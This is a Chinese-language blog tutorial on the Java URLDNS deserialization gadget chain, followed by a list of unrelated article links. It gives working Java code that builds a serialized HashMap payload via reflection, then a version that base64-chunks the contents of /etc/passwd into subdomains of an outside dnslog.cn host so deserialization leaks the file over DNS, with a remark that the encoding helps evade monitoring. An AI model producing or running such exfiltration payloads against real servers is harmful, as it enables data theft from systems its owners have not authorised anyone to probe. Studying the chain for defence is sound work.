当前位置: 首页 > article >正文

java-URLDNS 链条审计

java-URLDNS 链条审计

URLDNS 链条,是我们学习 java 反序列化的启蒙链条,通过 java 内置的类函数调用,达到 DNS 外带数据的目的。

首先让我们来看一个小实验

从 dnslog.cn 平台获取一个域名

public class urlDNS {
    public void URL() throws UnknownHostException {
        InetAddress address = InetAddress.getByName("1112222221.aro9b9.dnslog.cn");
        System.out.println(address.getHostName());

    }

    public static void main(String[] args) throws UnknownHostException {
        urlDNS  url = new urlDNS();
        url.URL();
    }
}

image-20240903190455668

可以看到,我们在前边定义的字符串会被正常外带出来

1)hashmap

hashmap 可以说是 java 反序列化梦开始的地方,可以通过反射,put 等操作,给它赋值。而他默认也实现了 Serializable 接口,也有 readObject()方法。就是反序列化的入口。好多反序列化漏洞都是基于 hashmap 的接口调用利用的。

运行一下这段代码

public class urlDNS {
    public void URLtest() throws Exception {
        URL url = new URL("http://1122334455.xq8dz5.dnslog.cn");
        Map<URL,String> map = new HashMap<>();
        map.put(url,"1111");
    }

    public static void main(String[] args) throws Exception {
        urlDNS  url = new urlDNS();
        url.URLtest();
    }
}

image-20240903192106126

我们在上述代码中并没有进行域名的访问,我们的操作只不过是创建了一个 UR 对象,并把这个对象添加到了 hashmap 中,怎么会有 dnslog 的信息带出来呢?

让我们看一看这段代码具体干了什么

hashmap 的 put()方法 ==> hashmap 的 hash() == > URL 的 hashCode() ==> URLStreamHandler 的 hashCode()

==> URLStreamHandler 的 getHostAddress() 最终自动完成域名的解析

打个断点,一步一步跟进一下,就会明白这个链条

2)反序列化

构造 URLDNS 的序列化文件

public void serialize() throws Exception{
        URL url = new URL("http://111122223333355555567.jlxmu8.dnslog.cn");
        Map<URL,String> map = new HashMap<URL,String>();
        Class clazz = Class.forName("java.net.URL");
        Field hashCode = clazz.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,22);
        map.put(url,"111");
        hashCode.set(url,-1);


        FileOutputStream fos = new FileOutputStream("src/main/upload/dnslog.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);
        oos.close();
        fos.close();
    }

这个方法就是序列化一个 URLDNS 的利用链条,当目标主机对我们上传的 ser 文件,进行反序列化时,就会触发 hashmap 里的链条,导致攻击者可以读取服务器数据

因为要对 URL 里的 hashCode 字段赋值为-1 才能满足调用要求,我们利用了 java 的反射机制对其私有变量强制赋值为-1

目标机器上只要有反序列化的方法可以让我们注入成功,就可以读取目标主机的信息了

public void unseri() throws Exception{
        FileInputStream fis = new FileInputStream("src/main/upload/dnslog.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        fis.close();
        ois.close();
    }

生成完序列化的 ser 文件,只需要执行反序列画这个方法,目标就会自动去调用我们已经构造好的 DNS 链条,实现数据外带

public static void main(String[] args) throws Exception{
        urlDNS urlDns = new urlDNS();
        // urlDns.serialize();
        urlDns.unseri();
 }

image-20240903200402651

3) 读取/etc/passwd

有了上边的基础,我们只需要把前面的字符串换成/etc/passwd 读取的变量是不是就可以读取出来了。

public void seriaPasswd() throws Exception{
    FileInputStream fis = new FileInputStream("src/main/upload/passwd");
    byte[] byteArray = new byte[fis.available()];
    fis.read(byteArray);
    String s = Base64.getEncoder().encodeToString(byteArray);
    System.out.println(s.length());
    int counts = s.length()/60;
    int tail = s.length()%60;
    List<Map> list = new ArrayList<>();
    for (int i = 0; i < counts; i++) {
        String substring = s.substring(i*60, 60*(i+1));
        // System.out.println(substring);
        URL url = new URL("http://"+ substring +".2xpfvy.dnslog.cn");
        Map<URL,String> map = new HashMap<>();
        map.put(url,"111");


        Class clazz = Class.forName("java.net.URL");
        Field hashCode = clazz.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,-1);
        list.add(map);
    }
    System.out.println(Arrays.toString(new List[]{list}));
    FileOutputStream fos = new FileOutputStream("src/main/upload/pass.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(list);

}

由于域名不支持一些特殊字符,我们传递过程中可以进行 base64 加密,一方面可以保证我们拿到信息的完整性,另一方面,加密字符串不那么容易触发一些流量设备的告警,提高数据读取的隐蔽性。

为了演示方便,我把/etc/passwd 复制到了本地,

public void unseriaPasswd() throws Exception{
    FileInputStream fis = new FileInputStream("src/main/upload/pass.ser");
    ObjectInputStream ois = new ObjectInputStream(fis);
    ois.readObject();
}
public static void main(String[] args) throws Exception{
    urlDNS urlDns = new urlDNS();
    // urlDns.seriaPasswd();
    urlDns.unseriaPasswd();
}

image-20240903202038509

看到成功带出来 passwd 的内容,后边就是去处理用 base64 解密

基本原理就是这样。


http://www.kler.cn/a/289259.html

相关文章:

  • 《Python网络安全项目实战》项目5 编写网站扫描程序
  • DAY112代码审计PHP开发框架POP链利用Yii反序列化POP利用链
  • 【Excel】身份证号最后一位“X”怎么计算
  • JAVA:探索 EasyExcel 的技术指南
  • SystemVerilog学习笔记(六):控制流
  • 标准C++ 字符串
  • 9、设计模式
  • Spring 学习笔记
  • 【Rust光年纪】解密Rust语言在经济学计算领域的全面应用与潜力展望
  • 【docker】docker 镜像仓库的管理
  • 39. 数组中出现次数超过一半的数字
  • 【专项刷题】— 哈希表
  • 阅读笔记——《阿里巴巴Java开发规范》
  • Unity实战案例 2D小游戏HappyGlass(游戏管理类脚本)
  • git进阶·团队开发的时候为何要创建临时分支来修复bug
  • 2708. 一个小组的最大实力值(24.9.3)
  • ADB 获取屏幕坐标,并模拟滑动和点击屏幕
  • 深入理解 JavaScript DOM 操作
  • js处理echarts tooltip定时轮播
  • 一款基于Vue的低代码可视化表单设计器工具,6K star的可视化表单设计器工具,轻松搞定表单,支持多端适配(附源码)
  • 被低估的SQL
  • 基于vue框架的超市管理系统ki6i8(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。
  • 责任链设计模式详解
  • B端系统门门清之:SCRM系统,为客户管理加上社交,如虎添翼
  • MySQL事务处理(TransAction)
  • 苹果11月推出新款M4 Mac:Mac mini设计焕新 MacBook Pro仅例行更新